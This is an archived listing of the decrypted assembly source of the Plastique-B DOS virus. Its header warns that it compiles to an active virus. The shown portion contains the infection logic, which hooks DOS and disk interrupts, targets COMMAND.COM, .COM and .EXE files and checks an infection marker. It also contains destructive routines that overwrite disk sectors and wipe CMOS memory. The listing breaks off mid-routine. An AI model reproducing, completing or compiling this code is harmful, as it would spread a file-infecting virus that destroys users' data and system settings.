home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-P.ZIP / PLASTIQ.ASM < prev    next >
Assembly Source File  |  1992-09-13  |  31KB  |  1,187 lines

  1. PAGE  59,132
  2.   
  3. ;==========================================================================
  4. ;          Plastique-B virus Decrypted source code                               
  5. ;              Brought to you by Minuite man                                   
  6. ;                                                                       
  7. ;                DANGER! Not for public distribution                                   
  8. ;                This source code can be compiled to                                 
  9. ;                Active virus.Always handle viruses          
  10. ;                Carefully.       
  11. ;==========================================================================
  12.   
  13. data_1e        equ    3FCh            ; (0000:03FC=0F000h)
  14. data_2e        equ    3FEh            ; (0000:03FE=16h)
  15. data_3e        equ    3            ; (3E00:0003=0FFFFh)
  16. data_4e        equ    5            ; (3E00:0005=0FFh)
  17. data_5e        equ    18h            ; (3E00:0018=0FFFFh)
  18. data_6e        equ    1Ah            ; (3E00:001A=0FFFFh)
  19. data_7e        equ    1Ch            ; (3E00:001C=0FFFFh)
  20. data_8e        equ    1Eh            ; (3E00:001E=0FFFFh)
  21. data_9e        equ    20h            ; (3E00:0020=0FFFFh)
  22. data_10e    equ    22h            ; (3E00:0022=0FFFFh)
  23. data_11e    equ    48h            ; (3E00:0048=0FFFFh)
  24. data_12e    equ    4Ah            ; (3E00:004A=0FFFFh)
  25. data_13e    equ    4Eh            ; (3E00:004E=0FFFFh)
  26. data_14e    equ    54h            ; (3E00:0054=0FFFFh)
  27. data_15e    equ    56h            ; (3E00:0056=0FFFFh)
  28. data_16e    equ    58h            ; (3E00:0058=0FFFFh)
  29. data_17e    equ    5Ah            ; (3E00:005A=0FFFFh)
  30. data_18e    equ    5Ch            ; (3E00:005C=0FFFFh)
  31. data_19e    equ    6Ah            ; (3E00:006A=0FFh)
  32. data_20e    equ    86h            ; (3E00:0086=0FFFFh)
  33. data_21e    equ    88h            ; (3E00:0088=0FFFFh)
  34. data_22e    equ    2A6h            ; (3E00:02A6=0FFh)
  35. data_23e    equ    3            ; (6C23:0003=0)
  36. data_24e    equ    5            ; (6C23:0005=0)
  37. data_25e    equ    6            ; (6C23:0006=0)
  38. data_27e    equ    0Ah            ; (6C23:000A=0)
  39. data_29e    equ    14h            ; (6C23:0014=0)
  40. data_30e    equ    16h            ; (6C23:0016=0)
  41. data_31e    equ    24h            ; (6C23:0024=0)
  42. data_32e    equ    26h            ; (6C23:0026=0)
  43. data_33e    equ    28h            ; (6C23:0028=0)
  44. data_34e    equ    2Ah            ; (6C23:002A=0)
  45. data_35e    equ    2Ch            ; (6C23:002C=0)
  46. data_36e    equ    2Eh            ; (6C23:002E=0)
  47. data_37e    equ    30h            ; (6C23:0030=0)
  48. data_38e    equ    32h            ; (6C23:0032=0)
  49. data_39e    equ    34h            ; (6C23:0034=0)
  50. data_41e    equ    38h            ; (6C23:0038=0)
  51. data_42e    equ    3Ch            ; (6C23:003C=0)
  52. data_43e    equ    3Eh            ; (6C23:003E=0)
  53. data_44e    equ    42h            ; (6C23:0042=0)
  54. data_45e    equ    44h            ; (6C23:0044=0)
  55. data_46e    equ    45h            ; (6C23:0045=0)
  56. data_47e    equ    62h            ; (6C23:0062=0)
  57. data_48e    equ    64h            ; (6C23:0064=0)
  58. data_49e    equ    66h            ; (6C23:0066=0)
  59. data_50e    equ    68h            ; (6C23:0068=0)
  60. data_51e    equ    69h            ; (6C23:0069=0)
  61. data_52e    equ    6Ah            ; (6C23:006A=0)
  62. data_68e    equ    160Ah            ; (6C23:160A=0)
  63. data_69e    equ    690Ah            ; (6C23:690A=0)
  64. data_70e    equ    0FA0Ah            ; (6C23:FA0A=0)
  65.   
  66. seg_a        segment
  67.         assume    cs:seg_a, ds:seg_a
  68.   
  69.   
  70.         org    100h
  71.   
  72. test        proc    far
  73.   
  74. start:
  75.         jmp    loc_61            ; (09D3)
  76.         db    0CCh, 1, 0C7h, 24h, 1, 9
  77.         db    0Dh, 92h, 25h, 70h, 0, 0
  78.         db    0, 0, 0, 89h, 19h, 0
  79.         db    1, 53h, 13h, 0, 0, 7Eh
  80.         db    82h, 0, 0, 7Eh, 82h
  81.         db    50h
  82. data_53        db    2
  83. data_54        dw    0
  84. data_55        dw    4269h            ; Data table (indexed access)
  85.         db    1Fh, 8Bh, 5, 0, 20h, 0
  86.         db    21h, 0, 80h, 0, 0E6h, 77h
  87.         db    18h, 0, 0AAh, 0, 9, 0Dh
  88.         db    60h, 14h, 1Eh, 2, 56h, 5
  89.         db    6, 6Fh, 73h, 12h, 0, 0F0h
  90.         db    16h, 0, 4Dh, 5Ah, 14h, 0
  91.         db    8, 0, 0, 0, 20h, 0
  92.         db    0, 0, 0FFh, 0FFh, 5, 0
  93.         db    0C4h, 0Bh, 89h, 19h, 0, 9
  94.         db    5, 0, 1Eh, 0, 90h, 90h
  95.         db    1, 0, 70h, 45h, 75h, 42h
  96.         db    0, 0, 0
  97.         db    'ACAD.EXECOMMAND.COM.COM.EXE'
  98.         db    10h, 0, 0, 2, 0, 0
  99.         db    80h, 0, 0B4h, 0D5h, 5Ch, 0
  100.         db    0B4h, 0D5h, 6Ch, 0, 0B4h, 0D5h
  101.         db    'Program: Plastique'
  102. loc_2:
  103.         and    [si],dh
  104.         db    '.51 (plastic bomb), '
  105. copyright    db    'Copyright (C) 1988, 1989 by ABT '
  106.         db    'Group.Thanks to: M'
  107.         db    'r. Lin (IECS 762??), Mr. Cheng ('
  108.         db    'FCU Inf-Center)'
  109.         db    1, 0, 0
  110. data_58        db    0E3h            ; Data table (indexed access)
  111.         db    8, 0, 0, 0EBh, 7, 91h
  112.         db    0Ah, 91h, 0Ah, 0BEh, 11h, 0
  113.         db    0, 0D0h, 0Fh, 21h, 15h, 21h
  114.         db    15h, 0DCh, 0Bh, 0, 0, 91h
  115.         db    0Ah, 16h, 0Eh, 16h, 0Eh, 0B7h
  116.         db    17h, 0, 0, 21h, 15h, 2Ch
  117.         db    1Ch, 2Ch, 1Ch, 91h, 0Ah, 16h
  118.         db    0Eh, 33h, 0Bh, 33h, 0Bh, 91h
  119.         db    0Ah, 0FAh, 9, 0FAh, 9, 91h
  120.         db    0Ah, 33h, 0Bh, 33h, 0Bh, 91h
  121.         db    0Ah, 16h, 0Eh, 16h, 0Eh, 0
  122.         db    0, 16h, 0Eh, 0D0h, 0Fh, 0BEh
  123.         db    11h, 0, 0, 0E3h, 8, 0
  124.         db    0, 0EBh, 7, 91h, 0Ah, 91h
  125.         db    0Ah, 0BEh, 11h, 0, 0, 0D0h
  126.         db    0Fh, 21h, 15h, 21h, 15h, 0DCh
  127.         db    0Bh, 0, 0, 91h, 0Ah, 16h
  128.         db    0Eh, 16h, 0Eh, 0B7h, 17h, 0
  129.         db    0, 21h, 15h, 2Ch, 1Ch, 2Ch
  130.         db    1Ch, 91h, 0Ah, 16h, 0Eh, 33h
  131.         db    0Bh, 33h, 0Bh, 91h, 0Ah, 0FAh
  132.         db    9
  133. data_59        dw    9FAh
  134. data_60        db    91h
  135. data_61        db    0Ah
  136. data_62        dw    0B33h
  137. data_63        db    33h
  138.   
  139. test        endp
  140.   
  141. ;==========================================================================
  142. ;
  143. ;            External Entry Point
  144. ;
  145. ;==========================================================================
  146.   
  147. int_24h_entry    proc    far
  148.         or    dx,ds:data_68e[bx+di]    ; (6C23:160A=0)
  149.         push    cs
  150.         push    ss
  151.         push    cs
  152.         add    [bx+si],al
  153.         push    ss
  154.         push    cs
  155.         ror    byte ptr [bx],1        ; Rotate
  156.         mov    si,11h
  157.         add    ds:data_69e[bx+di],dl    ; (6C23:690A=0)
  158.         or    bx,sp
  159.         or    bl,ch
  160.         pop    es
  161.         jmp    short $+9
  162.         db    91h, 0Ah, 0, 0, 0FAh, 9
  163.         db    0FAh, 9, 64h, 8, 64h, 8
  164. int_24h_entry    endp
  165.   
  166.   
  167. ;==========================================================================
  168. ;
  169. ;            External Entry Point
  170. ;
  171. ;==========================================================================
  172.   
  173. int_08h_entry    proc    far
  174.         push    cs
  175.         pop    es
  176.         add    [bx+si],al
  177.         xchg    ax,cx
  178.         or    dl,ds:data_70e[bx+di]    ; (6C23:FA0A=0)
  179.         or    dx,di
  180.         or    [bp+si+0Dh],dx
  181.         add    [bx+si],al
  182.         xor    cx,[bp+di]
  183.         add    [bx+si],al
  184.         push    ss
  185.         push    cs
  186.         add    [bx+si],al
  187. ;*        jmp    short loc_4        ;*(02F3)
  188.         db    0EBh, 7
  189.         db    0EBh, 7, 91h, 0Ah, 0, 0
  190.         db    33h
  191. loc_4:
  192.         or    si,[bp+di]
  193.         or    bp,[bx+di+9]
  194.         db    69h, 9, 0EBh, 7, 0EBh, 7
  195.         db    0, 0, 0E3h, 8, 0, 0
  196.         db    0EBh, 7, 91h, 0Ah, 91h, 0Ah
  197.         db    0BEh, 11h, 0, 0, 0D0h, 0Fh
  198.         db    21h, 15h, 21h, 15h, 0DCh, 0Bh
  199.         db    0, 0, 0F2h, 0Eh, 0D0h, 0Fh
  200.         db    0, 0, 0BEh, 11h, 21h, 15h
  201.         db    0, 0, 3, 2, 3, 3
  202.         db    0Dh, 3, 2, 3, 3, 0Dh
  203.         db    3, 2, 3, 3, 0Dh, 3
  204.         db    2, 3, 3, 0Dh, 7, 3
  205.         db    3, 7, 3, 3, 7, 3
  206.         db    3, 7, 3, 14h, 2, 1
  207.         db    1, 1, 3, 8, 3, 2
  208.         db    3, 3, 0Dh, 3, 2, 3
  209.         db    3, 0Dh, 3, 2, 3, 3
  210.         db    0Dh, 3, 2, 3, 3
  211. int_08h_entry    endp
  212.   
  213.   
  214. ;==========================================================================
  215. ;
  216. ;            External Entry Point
  217. ;
  218. ;==========================================================================
  219.   
  220. int_09h_entry    proc    far
  221.         or    ax,307h
  222.         add    ax,[bx]
  223.         add    ax,[bp+di]
  224.         pop    es
  225.         add    ax,[bp+di]
  226.         pop    es
  227.         add    dx,[si]
  228.         add    al,[bx+di]
  229.         add    [bx+di],ax
  230.         add    ax,[bp+di]
  231.         add    [bx+di],ax
  232.         add    [di],cx
  233.         pop    es
  234.         push    es
  235.         add    [di],cx
  236.         or    ax,70Dh
  237.         push    es
  238.         add    [di],cx
  239.         or    ax,70Dh
  240.         push    es
  241.         add    [si],cx
  242.         add    cl,[si]
  243.         add    cl,[di]
  244.         pop    es
  245.         push    es
  246.         add    [di],cx
  247.         or    ax,0D0Dh
  248.         or    ax,0D0Dh
  249.         add    ax,[bp+di]
  250.         add    ax,[bp+di]
  251.         or    ax,303h
  252.         add    ax,[bp+di]
  253.         or    ax,106h
  254.         add    ax,[bp+di]
  255.         add    ax,[bp+di]
  256.         add    ax,[bx+di]
  257.         db    7 dup (0)
  258.         db    32h, 0C0h, 0CFh, 9Ch, 50h, 2Eh
  259.         db    0A1h, 64h, 0, 2Eh, 39h, 6
  260.         db    3, 0, 58h, 77h, 5, 2Eh
  261.         db    0FFh, 6, 3, 0, 51h, 2Eh
  262.         db    8Bh, 0Eh, 3, 0
  263.   
  264. locloop_5:
  265.         nop
  266.         loop    locloop_5        ; Loop if cx > 0
  267.   
  268.         int    3            ; Debug breakpoint
  269.         pop    cx
  270.         popf                ; Pop flags
  271.         jmp    dword ptr cs:data_39e    ; (6C23:0034=0)
  272.         db    9Ch, 0CCh, 2Eh, 0FFh, 6, 3
  273.         db    0, 2Eh, 81h, 3Eh, 3, 0
  274.         db    88h, 13h, 77h, 6, 9Dh, 2Eh
  275.         db    0FFh, 2Eh, 34h, 0, 1Eh, 50h
  276.         db    53h, 0Eh, 1Fh, 8Bh, 1Eh, 22h
  277.         db    1, 0FEh, 0Eh, 21h, 1, 75h
  278.         db    5Dh, 8Bh, 1Eh, 22h, 1, 0FFh
  279.         db    6, 22h, 1, 81h, 0FBh, 80h
  280.         db    0, 75h, 3, 0EBh, 36h, 90h
  281. loc_6:
  282.         mov    al,data_58[bx]        ; (6C23:0224=0E3h)
  283.         mov    data_53,al        ; (6C23:0121=2)
  284.         shl    bx,1            ; Shift w/zeros fill
  285.         mov    ax,data_55[bx]        ; (6C23:0124=4269h)
  286.         cmp    ax,0
  287.         je    loc_7            ; Jump if equal
  288.         jmp    short loc_8        ; (0426)
  289.         db    90h
  290. loc_7:
  291.         in    al,61h            ; port 61h, 8255 port B, read
  292.         and    al,0FEh
  293.         out    61h,al            ; port 61h, 8255 B - spkr, etc
  294.         jmp    short loc_10        ; (0454)
  295.         db    90h
  296. loc_8:
  297.         mov    bx,ax
  298.         mov    al,0B6h
  299.         out    43h,al            ; port 43h, 8253 wrt timr mode
  300.         mov    ax,bx
  301.         out    42h,al            ; port 42h, 8253 timer 2 spkr
  302.         mov    al,ah
  303.         out    42h,al            ; port 42h, 8253 timer 2 spkr
  304.         in    al,61h            ; port 61h, 8255 port B, read
  305.         or    al,3
  306.         out    61h,al            ; port 61h, 8255 B - spkr, etc
  307.         jmp    short loc_10        ; (0454)
  308.         db    90h
  309. loc_9:
  310.         in    al,61h            ; port 61h, 8255 port B, read
  311.         and    al,0FEh
  312.         out    61h,al            ; port 61h, 8255 B - spkr, etc
  313.         mov    data_54,0        ; (6C23:0122=0)
  314.         mov    data_53,1        ; (6C23:0121=2)
  315.         mov    word ptr ds:data_23e,1    ; (6C23:0003=0)
  316. loc_10:
  317.         pop    bx
  318.         pop    ax
  319.         pop    ds
  320.         popf                ; Pop flags
  321.         jmp    dword ptr cs:data_39e    ; (6C23:0034=0)
  322.         db    0FAh, 50h, 1Eh, 33h, 0C0h, 8Eh
  323.         db    0D8h, 0A0h, 17h, 4, 1Fh, 24h
  324.         db    0Ch, 3Ch, 0Ch, 75h, 2Eh, 0E4h
  325.         db    '`$'
  326.         db    7Fh, '<Su&.'
  327.         db    81h, 3Eh, 3, 0, 88h, 13h
  328.         db    72h, 1Dh, 2Eh, 80h, 3Eh, 69h
  329.         db    0, 1, 74h, 3, 0E9h, 93h
  330.         db    0, 0E4h, 61h, 0Ch, 80h, 0E6h
  331.         db    61h, 24h, 7Fh, 0E6h, 61h, 58h
  332.         db    0B0h, 20h, 0E6h, 20h, 0EBh, 1Fh
  333.         db    90h, 58h, 9Ch, 2Eh, 0FFh, 1Eh
  334.         db    6, 0, 0FAh, 2Eh, 0FFh, 6
  335.         db    0Eh, 0, 2Eh, 81h, 3Eh, 0Eh
  336.         db    0, 0A0h, 0Fh, 72h, 6, 2Eh
  337.         db    0C6h, 6, 6Ah, 0, 1
  338. loc_11:
  339.         sti                ; Enable interrupts
  340.         iret                ; Interrupt return
  341. int_09h_entry    endp
  342.   
  343. loc_12:
  344.         mov    al,2
  345.         out    21h,al            ; port 21h, 8259-1 int comands
  346.         sti                ; Enable interrupts
  347.         in    al,61h            ; port 61h, 8255 port B, read
  348.         and    al,0FEh
  349.         out    61h,al            ; port 61h, 8255 B - spkr, etc
  350.         mov    cs:data_54,0        ; (6C23:0122=0)
  351.         mov    cs:data_53,1        ; (6C23:0121=2)
  352.         mov    word ptr cs:data_23e,1    ; (6C23:0003=0)
  353.         mov    ax,4
  354.         int    10h            ; Video display   ah=functn 00h
  355.                         ;  set display mode in al
  356.         mov    ax,402h
  357.         push    ax
  358. loc_13:
  359.         mov    byte ptr ds:data_52e,0    ; (6C23:006A=0)
  360.         push    cs
  361.         pop    ax
  362.         mov    ds,ax
  363.         mov    es,ax
  364.         mov    dl,0
  365.   
  366. ;==========================================================================
  367. ;
  368. ;            External Entry Point
  369. ;
  370. ;==========================================================================
  371.   
  372. int_13h_entry    proc    far
  373.         call    sub_1            ; (052D)
  374.         jc    loc_14            ; Jump if carry Set
  375.         call    sub_2            ; (059E)
  376. loc_14:
  377.         mov    dl,1
  378.         call    sub_1            ; (052D)
  379.         jc    loc_ret_15        ; Jump if carry Set
  380.         call    sub_2            ; (059E)
  381.   
  382. loc_ret_15:
  383.         retn
  384. int_13h_entry    endp
  385.   
  386.         db    0B2h, 80h, 2Eh, 0C7h, 6, 3
  387.         db    0, 0D4h, 12h, 0E8h, 63h, 0
  388.         db    72h, 3, 0E8h
  389. data_65        dw    0A7h            ; Data table (indexed access)
  390.         db    0B2h, 81h, 0E8h, 59h, 0, 72h
  391.         db    3, 0E8h, 9Dh, 0, 0B9h, 40h
  392.         db    0
  393.   
  394. locloop_16:
  395.         mov    al,cl
  396.         out    70h,al            ; port 70h, RTC addr/enabl NMI
  397.                         ;  al = 0, seconds register
  398.         mov    al,0FFh
  399.         out    71h,al            ; port 71h, RTC clock/RAM data
  400.         loop    locloop_16        ; Loop if cx > 0
  401.   
  402. loc_17:
  403.         nop
  404.         jmp    short loc_17        ; (052A)
  405.   
  406. ;==========================================================================
  407. ;                   SUBROUTINE
  408. ;==========================================================================
  409.   
  410. sub_1        proc    near
  411.         mov    data_61,dl        ; (6C23:02A7=0Ah)
  412.         mov    ax,201h
  413.         mov    cx,1
  414.         mov    dh,0
  415.         mov    bx,511h
  416.         int    13h            ; Disk  dl=drive #: ah=func a2h
  417.                         ;  read sectors to memory es:bx
  418.         jc    loc_ret_18        ; Jump if carry Set
  419.         mov    si,18h
  420.         mov    cx,data_65[si]        ; (6C23:0511=0A7h)
  421.         mov    data_60,cl        ; (6C23:02A6=91h)
  422.         mov    si,13h
  423.         mov    ax,data_65[si]        ; (6C23:0511=0A7h)
  424.         xor    dx,dx            ; Zero register
  425.         div    cx            ; ax,dx rem=dx:ax/reg
  426.         mov    si,1Ah
  427.         mov    cx,data_65[si]        ; (6C23:0511=0A7h)
  428.         xor    dx,dx            ; Zero register
  429.         div    cx            ; ax,dx rem=dx:ax/reg
  430.         mov    data_59,ax        ; (6C23:02A4=9FAh)
  431.         mov    dl,data_61        ; (6C23:02A7=0Ah)
  432.         mov    dh,0
  433.         mov    cx,1
  434.         cmp    cx,0
  435.   
  436. loc_ret_18:
  437.         retn
  438. sub_1        endp
  439.   
  440.         db    0B4h, 8, 88h, 16h, 0A7h, 2
  441.         db    0CDh, 13h, 72h, 22h, 88h, 36h
  442.         db    0AAh, 2, 8Ah, 0C5h, 8Ah, 0E1h
  443.         db    80h, 0E1h, 3Fh, 88h, 0Eh, 0A6h
  444.         db    2, 0B1h, 6, 0D2h, 0ECh, 0A3h
  445.         db    0A4h, 2, 8Ah, 16h, 0A7h, 2
  446.         db    0B6h, 0, 0B9h, 1, 0, 83h
  447.         db    0F9h, 0
  448.   
  449. loc_ret_19:
  450.         retn
  451.   
  452. ;==========================================================================
  453. ;                   SUBROUTINE
  454. ;==========================================================================
  455.   
  456. sub_2        proc    near
  457.         mov    bx,98h
  458. loc_20:
  459.         mov    al,data_60        ; (6C23:02A6=91h)
  460.         mov    ah,3
  461.         int    13h            ; Disk  dl=drive #: ah=func a3h
  462.                         ;  write sectors from mem es:bx
  463.         jnc    loc_21            ; Jump if carry=0
  464.         and    ah,0C3h
  465.         jnz    loc_ret_22        ; Jump if not zero
  466. loc_21:
  467.         inc    ch
  468.         cmp    ch,byte ptr data_59    ; (6C23:02A4=0FAh)
  469.         je    loc_ret_22        ; Jump if equal
  470.         jmp    short loc_20        ; (05A1)
  471.   
  472. loc_ret_22:
  473.         retn
  474. sub_2        endp
  475.   
  476.   
  477. ;==========================================================================
  478. ;                   SUBROUTINE
  479. ;==========================================================================
  480.   
  481. sub_3        proc    near
  482.         mov    bx,98h
  483.         mov    data_62,0        ; (6C23:02A8=0B33h)
  484. loc_23:
  485.         mov    al,data_60        ; (6C23:02A6=91h)
  486.         mov    ah,3
  487.         int    13h            ; Disk  dl=drive #: ah=func a3h
  488.                         ;  write sectors from mem es:bx
  489.         inc    dh
  490.         cmp    dh,data_63        ; (6C23:02AA=33h)
  491.         ja    loc_24            ; Jump if above
  492.         jmp    short loc_23        ; (05C3)
  493. loc_24:
  494.         inc    data_62            ; (6C23:02A8=0B33h)
  495.         mov    dh,0
  496.         mov    ax,data_62        ; (6C23:02A8=0B33h)
  497.         cmp    ax,data_59        ; (6C23:02A4=9FAh)
  498.         ja    loc_ret_25        ; Jump if above
  499.         or    al,1
  500.         add    ch,al
  501.         jnc    loc_23            ; Jump if carry=0
  502.         add    cl,40h            ; '@'
  503.         jmp    short loc_23        ; (05C3)
  504.   
  505. loc_ret_25:
  506.         retn
  507. sub_3        endp
  508.   
  509.         db    52h, 80h, 0FCh, 3, 75h, 12h
  510.         db    2Eh, 0C7h, 6, 0Eh, 0, 0
  511.         db    0, 2Eh, 80h, 3Eh, 6Ah, 0
  512.         db    1, 75h, 3, 0BAh, 0FFh, 0FFh
  513.         db    9Ch, 2Eh, 0FFh, 1Eh, 0Ah, 0
  514.         db    5Ah, 0CAh, 2, 0, 9Ch, 3Dh
  515.         db    40h, 4Bh, 75h, 5, 0B8h, 78h
  516.         db    56h, 9Dh, 0CFh, 3Dh, 41h, 4Bh
  517.         db    74h, 1Eh, 3Dh, 0, 4Bh, 75h
  518.         db    3, 0EBh, 34h, 90h
  519. loc_26:
  520.         cmp    ax,3D00h
  521.         jne    loc_27            ; Jump if not equal
  522.         cmp    byte ptr cs:data_50e,1    ; (6C23:0068=0)
  523.         je    loc_27            ; Jump if equal
  524.         jmp    short loc_29        ; (065C)
  525.         db    90h
  526. loc_27:
  527.         popf                ; Pop flags
  528.         jmp    dword ptr cs:data_41e    ; (6C23:0038=0)
  529. loc_28:
  530.         pop    ax
  531.         pop    ax
  532.         mov    ax,100h
  533.         mov    cs:data_29e,ax        ; (6C23:0014=0)
  534.         pop    ax
  535.         mov    cs:data_30e,ax        ; (6C23:0016=0)
  536.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  537.         popf                ; Pop flags
  538.         call    sub_5            ; (09C8)
  539.         mov    cx,ds:data_38e        ; (6C23:0032=0)
  540.         jmp    dword ptr cs:data_29e    ; (6C23:0014=0)
  541. loc_29:
  542.         mov    word ptr cs:data_33e,0FFFFh    ; (6C23:0028=0)
  543.         mov    word ptr cs:data_47e,0    ; (6C23:0062=0)
  544.         mov    cs:data_31e,dx        ; (6C23:0024=0)
  545.         mov    cs:data_32e,ds        ; (6C23:0026=0)
  546.         push    ax
  547.         push    bx
  548.         push    cx
  549.         push    dx
  550.         push    si
  551.         push    di
  552.         push    ds
  553.         push    es
  554.         cld                ; Clear direction
  555.         mov    si,dx
  556. loc_30:
  557.         mov    al,[si]
  558.         or    al,al            ; Zero ?
  559.         jz    loc_32            ; Jump if zero
  560.         cmp    al,61h            ; 'a'
  561.         jb    loc_31            ; Jump if below
  562.         cmp    al,7Ah            ; 'z'
  563.         ja    loc_31            ; Jump if above
  564.         sub    byte ptr [si],20h    ; ' '
  565. loc_31:
  566.         inc    si
  567.         jmp    short loc_30        ; (067F)
  568. loc_32:
  569.         mov    cs:data_49e,si        ; (6C23:0066=0)
  570.         mov    ax,si
  571.         push    cs
  572.         pop    es
  573.         mov    cx,0Bh
  574.         sub    si,cx
  575.         mov    di,73h
  576.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  577.         jnz    loc_33            ; Jump if not zero
  578.         jmp    loc_59            ; (0997)
  579. loc_33:
  580.         mov    si,ax
  581.         mov    cx,8
  582.         sub    si,cx
  583.         mov    di,6Bh
  584.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  585.         jnz    loc_34            ; Jump if not zero
  586.         mov    ax,41Dh
  587.         push    ax
  588.         jmp    loc_13            ; (04E2)
  589. loc_34:
  590.         mov    ax,4300h
  591.         int    21h            ; DOS Services  ah=function 43h
  592.                         ;  get/set file attrb, nam@ds:dx
  593.         jc    loc_35            ; Jump if carry Set
  594.         mov    cs:data_34e,cx        ; (6C23:002A=0)
  595. loc_35:
  596.         jc    loc_41            ; Jump if carry Set
  597.         xor    al,al            ; Zero register
  598.         mov    cs:data_46e,al        ; (6C23:0045=0)
  599.         mov    si,cs:data_49e        ; (6C23:0066=0)
  600.         mov    cx,4
  601.         sub    si,cx
  602.         mov    di,7Eh
  603.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  604.         jz    loc_36            ; Jump if zero
  605.         inc    byte ptr cs:data_46e    ; (6C23:0045=0)
  606.         mov    si,cs:data_49e        ; (6C23:0066=0)
  607.         mov    cx,4
  608.         sub    si,cx
  609.         mov    di,82h
  610.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  611.         jz    loc_36            ; Jump if zero
  612.         add    cx,0FFFFh
  613.         jmp    short loc_41        ; (073F)
  614.         db    90h
  615. loc_36:
  616.         mov    di,dx
  617.         xor    dl,dl            ; Zero register
  618.         cmp    byte ptr [di+1],3Ah    ; ':'
  619.         jne    loc_37            ; Jump if not equal
  620.         mov    dl,[di]
  621.         and    dl,1Fh
  622. loc_37:
  623.         mov    ah,36h            ; '6'
  624.         int    21h            ; DOS Services  ah=function 36h
  625.                         ;  get free space, drive dl,1=a:
  626.         cmp    ax,0FFFFh
  627.         jne    loc_39            ; Jump if not equal
  628. loc_38:
  629.         jmp    loc_59            ; (0997)
  630. loc_39:
  631.         mul    bx            ; dx:ax = reg * ax
  632.         mul    cx            ; dx:ax = reg * ax
  633.         or    dx,dx            ; Zero ?
  634.         jnz    loc_40            ; Jump if not zero
  635.         cmp    ax,0BC4h
  636.         jb    loc_38            ; Jump if below
  637. loc_40:
  638.         mov    dx,cs:data_31e        ; (6C23:0024=0)
  639.         mov    ax,3D00h
  640.         mov    byte ptr cs:data_50e,1    ; (6C23:0068=0)
  641.         int    21h            ; DOS Services  ah=function 3Dh
  642.                         ;  open file, al=mode,name@ds:dx
  643.         mov    byte ptr cs:data_50e,0    ; (6C23:0068=0)
  644. loc_41:
  645.         jc    loc_43            ; Jump if carry Set
  646.         mov    cs:data_33e,ax        ; (6C23:0028=0)
  647.         mov    bx,ax
  648.         mov    ax,4202h
  649.         mov    cx,0FFFFh
  650.         mov    dx,0FFFBh
  651.         int    21h            ; DOS Services  ah=function 42h
  652.                         ;  move file ptr, cx,dx=offset
  653.         jc    loc_43            ; Jump if carry Set
  654.         add    ax,5
  655.         mov    cs:data_38e,ax        ; (6C23:0032=0)
  656.         mov    ax,4200h
  657.         mov    cx,0
  658.         mov    dx,12h
  659.         int    21h            ; DOS Services  ah=function 42h
  660.                         ;  move file ptr, cx,dx=offset
  661.         jc    loc_43            ; Jump if carry Set
  662.         mov    cx,2
  663.         mov    dx,60h
  664.         mov    di,dx
  665.         mov    ax,cs
  666.         mov    ds,ax
  667.         mov    es,ax
  668.         mov    ah,3Fh            ; '?'
  669.         int    21h            ; DOS Services  ah=function 3Fh
  670.                         ;  read file, cx=bytes, to ds:dx
  671.         mov    ax,[di]
  672.         cmp    ax,1989h
  673.         jne    loc_42            ; Jump if not equal
  674.         mov    ah,3Eh            ; '>'
  675.         int    21h            ; DOS Services  ah=function 3Eh
  676.                         ;  close file, bx=file handle
  677.         jmp    loc_59            ; (0997)
  678. loc_42:
  679.         mov    ax,3524h
  680.         int    21h            ; DOS Services  ah=function 35h
  681.                         ;  get intrpt vector al in es:bx
  682.         mov    ds:data_42e,bx        ; (6C23:003C=0)
  683.         mov    ds:data_43e,es        ; (6C23:003E=0)
  684.         mov    dx,2ABh
  685.         mov    ax,2524h
  686.         int    21h            ; DOS Services  ah=function 25h
  687.                         ;  set intrpt vector al to ds:dx
  688.         lds    dx,dword ptr ds:data_31e    ; (6C23:0024=0) Load 32 bit ptr
  689.         xor    cx,cx            ; Zero register
  690.         mov    ax,4301h
  691.         int    21h            ; DOS Services  ah=function 43h
  692.                         ;  get/set file attrb, nam@ds:dx
  693. loc_43:
  694.         jc    loc_44            ; Jump if carry Set
  695.         mov    bx,cs:data_33e        ; (6C23:0028=0)
  696.         mov    ah,3Eh            ; '>'
  697.         int    21h            ; DOS Services  ah=function 3Eh
  698.                         ;  close file, bx=file handle
  699.         mov    word ptr cs:data_33e,0FFFFh    ; (6C23:0028=0)
  700.         mov    ax,3D02h
  701.         int    21h            ; DOS Services  ah=function 3Dh
  702.                         ;  open file, al=mode,name@ds:dx
  703.         jc    loc_44            ; Jump if carry Set
  704.         mov    cs:data_33e,ax        ; (6C23:0028=0)
  705.         mov    ax,cs
  706.         mov    ds,ax
  707.         mov    es,ax
  708.         mov    bx,ds:data_33e        ; (6C23:0028=0)
  709.         mov    ax,5700h
  710.         int    21h            ; DOS Services  ah=function 57h
  711.                         ;  get/set file date & time
  712.         mov    ds:data_35e,dx        ; (6C23:002C=0)
  713.         mov    ds:data_36e,cx        ; (6C23:002E=0)
  714.         mov    ax,4200h
  715.         xor    cx,cx            ; Zero register
  716.         mov    dx,cx
  717.         int    21h            ; DOS Services  ah=function 42h
  718.                         ;  move file ptr, cx,dx=offset
  719. loc_44:
  720.         jc    loc_47            ; Jump if carry Set
  721.         cmp    byte ptr ds:data_46e,0    ; (6C23:0045=0)
  722.         je    loc_45            ; Jump if equal
  723.         jmp    short loc_49        ; (0867)
  724.         db    90h
  725. loc_45:
  726.         mov    bx,1000h
  727.         mov    ah,48h            ; 'H'
  728.         int    21h            ; DOS Services  ah=function 48h
  729.                         ;  allocate memory, bx=bytes/16
  730.         jnc    loc_46            ; Jump if carry=0
  731.         mov    ah,3Eh            ; '>'
  732.         mov    bx,ds:data_33e        ; (6C23:0028=0)
  733.         int    21h            ; DOS Services  ah=function 3Eh
  734.                         ;  close file, bx=file handle
  735.         jmp    loc_59            ; (0997)
  736. loc_46:
  737.         inc    word ptr ds:data_47e    ; (6C23:0062=0)
  738.         mov    es,ax
  739.         xor    si,si            ; Zero register
  740.         mov    di,si
  741.         inc    word ptr ds:data_23e    ; (6C23:0003=0)
  742.         mov    ax,ds:data_23e        ; (6C23:0003=0)
  743.         or    al,1
  744.         mov    ds:data_24e,al        ; (6C23:0005=0)
  745.         call    sub_4            ; (09A5)
  746.         mov    cx,0BC4h
  747.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
